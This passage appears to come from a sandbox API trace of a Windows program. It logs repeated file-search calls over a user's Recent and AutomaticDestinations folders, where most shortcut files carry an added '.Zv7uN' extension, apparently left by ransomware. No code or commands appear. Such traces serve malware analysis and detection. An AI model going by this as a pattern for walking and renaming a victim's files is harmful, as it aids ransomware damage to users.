dwReserved1=0xba1113e9, cFileName="3a_Ktn--Hmt.lnk.Zv7uN", cAlternateFileName="3A_KTN~1.ZV7")) returned 1 [0084.937] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.937] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1288040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1288040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ddd9720, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xee8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="4eQFtgvX0bY.lnk.Zv7uN", cAlternateFileName="4EQFTG~1.ZV7")) returned 1 [0084.937] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.937] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f5800, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4ddff880, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x206a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="5DJG.lnk.Zv7uN", cAlternateFileName="5DJGLN~1.ZV7")) returned 1 [0084.937] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.937] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d521de0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d521de0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4debdf60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="5lN31fAPZCnHRtzpRQ.lnk.Zv7uN", cAlternateFileName="5LN31F~1.ZV7")) returned 1 [0084.937] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.937] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2840900, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2840900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4df0a220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20bb, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="608WYNFO5klObV.ots.lnk.Zv7uN", cAlternateFileName="608WYN~1.ZV7")) returned 1 [0084.937] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.937] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bf8b60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bf8b60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4df30380, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xedb, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="6Cqyf 6anxs_CSLAysE.lnk.Zv7uN", cAlternateFileName="6CQYF6~1.ZV7")) returned 1 [0084.937] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22994c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe22994c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e0d32a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="6JmZ7I0MdR3MM0C Xp7.lnk.Zv7uN", cAlternateFileName="6JMZ7I~1.ZV7")) returned 1 [0084.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3153ce0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3153ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e1456c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x2018, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="6lsyG9.lnk.Zv7uN", cAlternateFileName="6LSYG9~1.ZV7")) returned 1 [0084.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2c1ecc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c1ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e16b820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="7lZfRGVx.lnk.Zv7uN", cAlternateFileName="7LZFRG~1.ZV7")) returned 1 [0084.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3cb180, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d3cb180, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e191980, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19e6, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="7nadXsUY.lnk.Zv7uN", cAlternateFileName="7NADXS~1.ZV7")) returned 1 [0084.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1b5e40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d1b5e40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e1ddc40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="7vWXs5wOoyRqHSZ3.lnk.Zv7uN", cAlternateFileName="7VWXS5~1.ZV7")) returned 1 [0084.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37936a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37936a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e250060, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="9e8NTycG.lnk.Zv7uN", cAlternateFileName="9E8NTY~1.ZV7")) returned 1 [0084.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a90a80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a90a80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e2761c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa31, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="aFzddHE Qh9x.lnk.Zv7uN", cAlternateFileName="AFZDDH~1.ZV7")) returned 1 [0084.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.939] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6528e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6528e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e29c320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="anR_vEBPJQoHgy6nuS.flv.lnk.Zv7uN", cAlternateFileName="ANR_VE~1.ZV7")) returned 1 [0084.939] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.939] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.939] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe218eb20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3cc34b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e2c2480, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x93b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="AQq3p.lnk.Zv7uN", cAlternateFileName="AQQ3PL~1.ZV7")) returned 1 [0084.939] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.939] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.939] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eae60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e2e85e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="As_s0.lnk.Zv7uN", cAlternateFileName="AS_S0L~1.ZV7")) returned 1 [0084.939] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.939] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.939] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0084.939] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.939] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.939] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0084.940] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d7cf6a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1eece, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0084.940] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0084.940] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc606a140, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc606a140, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80e1f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0084.940] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.940] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 1 [0084.940] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.940] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 0 [0084.940] GetLastError () returned 0x12 [0084.940] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0084.941] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0084.941] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0084.941] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.941] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0084.941] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.941] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.941] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d7cf6a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1eece, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0084.941] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.941] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.941] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc606a140, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc606a140, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80e1f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0084.941] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.941] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.941] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 1 [0084.941] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.941] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.941] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 0 [0084.942] GetLastError () returned 0x12 [0084.942] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0084.942] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2c44e20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c44e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e3348a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="AWMp7.lnk.Zv7uN", cAlternateFileName="AWMP7L~1.ZV7")) returned 1 [0084.942] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.942] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, 